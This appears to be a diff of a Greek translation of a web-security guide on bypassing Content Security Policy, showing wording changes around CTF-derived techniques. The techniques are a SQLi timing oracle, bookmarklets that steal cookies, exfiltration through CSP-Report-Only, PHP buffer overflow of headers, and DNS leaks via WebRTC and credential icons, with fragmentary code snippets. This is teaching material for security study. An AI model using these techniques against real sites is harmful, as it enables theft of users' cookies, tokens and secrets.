Αυτή τη φορά μια **σημαία** θα εξαχθεί, όποτε μια **χαρακτήρας μαντεύεται σωστά** μέσω SQLi η **απάντηση** χρειάζεται **περισσότερο χρόνο** λόγω της λειτουργίας ύπνου. Στη συνέχεια, θα είστε σε θέση να εξάγετε τη σημαία:
|
||||
```html
|
||||
<!--code from https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle -->
|
||||
<iframe name="f" id="g"></iframe> // The bot will load an URL with the payload
|
||||
@ -542,7 +542,7 @@ run()
|
||||
```
|
||||
### Via Bookmarklets
|
||||
|
||||
Αυτή η επίθεση θα περιλάμβανε κάποια κοινωνική μηχανική όπου ο επιτιθέμενος **πείθει τον χρήστη να σύρει και να ρίξει έναν σύνδεσμο πάνω στο bookmarklet του προγράμματος περιήγησης**. Αυτό το bookmarklet θα περιείχε **κακόβουλο javascript** κώδικα που όταν σύρεται και ρίχνεται ή κάνετε κλικ θα εκτελείται στο πλαίσιο του τρέχοντος διαδικτυακού παραθύρου, **παρακάμπτοντας το CSP και επιτρέποντας την κλοπή ευαίσθητων πληροφοριών** όπως cookies ή tokens.
|
||||
Αυτή η επίθεση θα περιλάμβανε κάποια κοινωνική μηχανική όπου ο επιτιθέμενος **πείθει τον χρήστη να σύρει και να αποθέσει έναν σύνδεσμο πάνω στο bookmarklet του προγράμματος περιήγησης**. Αυτό το bookmarklet θα περιέχει **κακόβουλο javascript** κώδικα που όταν σύρεται και αποτίθεται ή κάνετε κλικ θα εκτελείται στο πλαίσιο του τρέχοντος παραθύρου ιστού, **παρακάμπτοντας το CSP και επιτρέποντας την κλοπή ευαίσθητων πληροφοριών** όπως cookies ή tokens.
|
||||
|
||||
Για περισσότερες πληροφορίες [**ελέγξτε την αρχική αναφορά εδώ**](https://socradar.io/csp-bypass-unveiled-the-hidden-threat-of-bookmarklets/).
|
||||
|
||||
@ -556,7 +556,7 @@ run()
|
||||
src="https://biohazard-web.2023.ctfcompetition.com/view/[bio_id]"
|
||||
csp="script-src https://biohazard-web.2023.ctfcompetition.com/static/closure-library/ https://biohazard-web.2023.ctfcompetition.com/static/sanitizer.js https://biohazard-web.2023.ctfcompetition.com/static/main.js 'unsafe-inline' 'unsafe-eval'"></iframe>
|
||||
```
|
||||
Στο [**αυτό το CTF writeup**](https://github.com/aszx87410/ctf-writeups/issues/48), ήταν δυνατό μέσω **HTML injection** να **περιοριστεί** περισσότερο μια **CSP** έτσι ώστε ένα σενάριο που προλαμβάνει το CSTI να απενεργοποιήθηκε και επομένως η **ευπάθεια έγινε εκμεταλλεύσιμη.**\
|
||||
Στο [**αυτό το CTF writeup**](https://github.com/aszx87410/ctf-writeups/issues/48), ήταν δυνατό μέσω **HTML injection** να **περιοριστεί** περισσότερο μια **CSP** έτσι ώστε ένα σενάριο που προλαμβάνει το CSTI να απενεργοποιηθεί και επομένως η **ευπάθεια έγινε εκμεταλλεύσιμη.**\
|
||||
Η CSP μπορεί να γίνει πιο περιοριστική χρησιμοποιώντας **HTML meta tags** και τα inline scripts μπορούν να απενεργοποιηθούν **αφαιρώντας** την **είσοδο** που επιτρέπει το **nonce** τους και **ενεργοποιώντας συγκεκριμένο inline script μέσω sha**:
|
||||
```html
|
||||
<meta
|
||||
@ -568,9 +568,9 @@ content="script-src 'self'
|
||||
```
|
||||
### JS exfiltration with Content-Security-Policy-Report-Only
|
||||
|
||||
Αν μπορέσετε να κάνετε τον διακομιστή να απαντήσει με την κεφαλίδα **`Content-Security-Policy-Report-Only`** με μια **τιμή που ελέγχετε εσείς** (ίσως λόγω ενός CRLF), θα μπορούσατε να το κατευθύνετε στον διακομιστή σας και αν **τυλίξετε** το **JS περιεχόμενο** που θέλετε να εξάγετε με **`<script>`** και επειδή είναι πολύ πιθανό ότι το `unsafe-inline` δεν επιτρέπεται από την CSP, αυτό θα **προκαλέσει ένα σφάλμα CSP** και μέρος του script (που περιέχει τις ευαίσθητες πληροφορίες) θα σταλεί στον διακομιστή από το `Content-Security-Policy-Report-Only`.
|
||||
Αν καταφέρετε να κάνετε τον διακομιστή να απαντήσει με την κεφαλίδα **`Content-Security-Policy-Report-Only`** με μια **τιμή που ελέγχετε εσείς** (ίσως λόγω ενός CRLF), θα μπορούσατε να το κατευθύνετε στον διακομιστή σας και αν **τυλίξετε** το **JS περιεχόμενο** που θέλετε να εξάγετε με **`<script>`** και επειδή είναι πολύ πιθανό ότι το `unsafe-inline` δεν επιτρέπεται από την CSP, αυτό θα **προκαλέσει ένα σφάλμα CSP** και μέρος του script (που περιέχει τις ευαίσθητες πληροφορίες) θα σταλεί στον διακομιστή από το `Content-Security-Policy-Report-Only`.
|
||||
|
||||
Για ένα παράδειγμα [**ελέγξτε αυτό το CTF writeup**](https://github.com/maple3142/My-CTF-Challenges/tree/master/TSJ%20CTF%202022/Nim%20Notes).
|
||||
Για ένα παράδειγμα [**δείτε αυτή την αναφορά CTF**](https://github.com/maple3142/My-CTF-Challenges/tree/master/TSJ%20CTF%202022/Nim%20Notes).
|
||||
|
||||
### [CVE-2020-6519](https://www.perimeterx.com/tech-blog/2020/csp-bypass-vuln-disclosure/)
|
||||
```javascript
|
||||
@ -589,9 +589,9 @@ document.querySelector("DIV").innerHTML =
|
||||
```markdown
|
||||
img-src https://chall.secdriven.dev https://doc-1-3213.secdrivencontent.dev https://doc-2-3213.secdrivencontent.dev ... https://doc-17-3213.secdriven.dev
|
||||
```
|
||||
Με την παρακολούθηση των αιτημάτων που αποκλείονται ή επιτρέπονται από την CSP, μπορεί κανείς να περιορίσει τους πιθανούς χαρακτήρες στο μυστικό υποτομέα, αποκαλύπτοντας τελικά το πλήρες URL.
|
||||
Με την παρακολούθηση των αιτημάτων που αποκλείονται ή επιτρέπονται από το CSP, μπορεί κανείς να περιορίσει τους πιθανούς χαρακτήρες στο μυστικό υποτομέα, αποκαλύπτοντας τελικά το πλήρες URL.
|
||||
|
||||
Και οι δύο μέθοδοι εκμεταλλεύονται τις λεπτομέρειες της υλοποίησης και της συμπεριφοράς της CSP στους περιηγητές, δείχνοντας πώς οι φαινομενικά ασφαλείς πολιτικές μπορούν ακούσια να διαρρεύσουν ευαίσθητες πληροφορίες.
|
||||
Και οι δύο μέθοδοι εκμεταλλεύονται τις λεπτομέρειες της υλοποίησης και της συμπεριφοράς του CSP στους περιηγητές, δείχνοντας πώς οι φαινομενικά ασφαλείς πολιτικές μπορούν ακούσια να διαρρεύσουν ευαίσθητες πληροφορίες.
|
||||
|
||||
Trick from [**here**](https://ctftime.org/writeup/29310).
|
||||
|
||||
@ -604,7 +604,7 @@ Trick from [**here**](https://ctftime.org/writeup/29310).
|
||||
### PHP response buffer overload
|
||||
|
||||
Η PHP είναι γνωστή για **την αποθήκευση της απόκρισης σε 4096** bytes από προεπιλογή. Επομένως, αν η PHP εμφανίζει προειδοποίηση, παρέχοντας **αρκετά δεδομένα μέσα στις προειδοποιήσεις**, η **απόκριση** θα **σταλεί** **πριν** από την **κεφαλίδα CSP**, προκαλώντας την κεφαλίδα να αγνοηθεί.\
|
||||
Έτσι, η τεχνική συνίσταται βασικά στο **να γεμίσει το buffer απόκρισης με προειδοποιήσεις** ώστε η κεφαλίδα CSP να μην σταλεί.
|
||||
Στη συνέχεια, η τεχνική συνίσταται βασικά στο **να γεμίσει το buffer απόκρισης με προειδοποιήσεις** ώστε η κεφαλίδα CSP να μην σταλεί.
|
||||
|
||||
Idea from [**this writeup**](https://hackmd.io/@terjanq/justCTF2020-writeups#Baby-CSP-web-6-solves-406-points).
|
||||
|
||||
@ -702,7 +702,7 @@ pc.createOffer().then((sdp)=>pc.setLocalDescription(sdp);
|
||||
```
|
||||
### CredentialsContainer
|
||||
|
||||
Η αναδυόμενη ειδοποίηση διαπιστευτηρίων στέλνει ένα αίτημα DNS στο iconURL χωρίς να περιορίζεται από τη σελίδα. Λειτουργεί μόνο σε ασφαλές περιβάλλον (HTTPS) ή σε localhost.
|
||||
Η αναδυόμενη ειδοποίηση πιστοποίησης στέλνει ένα αίτημα DNS στο iconURL χωρίς να περιορίζεται από τη σελίδα. Λειτουργεί μόνο σε ασφαλές περιβάλλον (HTTPS) ή σε localhost.
|
||||
```javascript
|
||||
navigator.credentials.store(
|
||||
new FederatedCredential({
|
||||
|
Loading…
x
Reference in New Issue
Block a user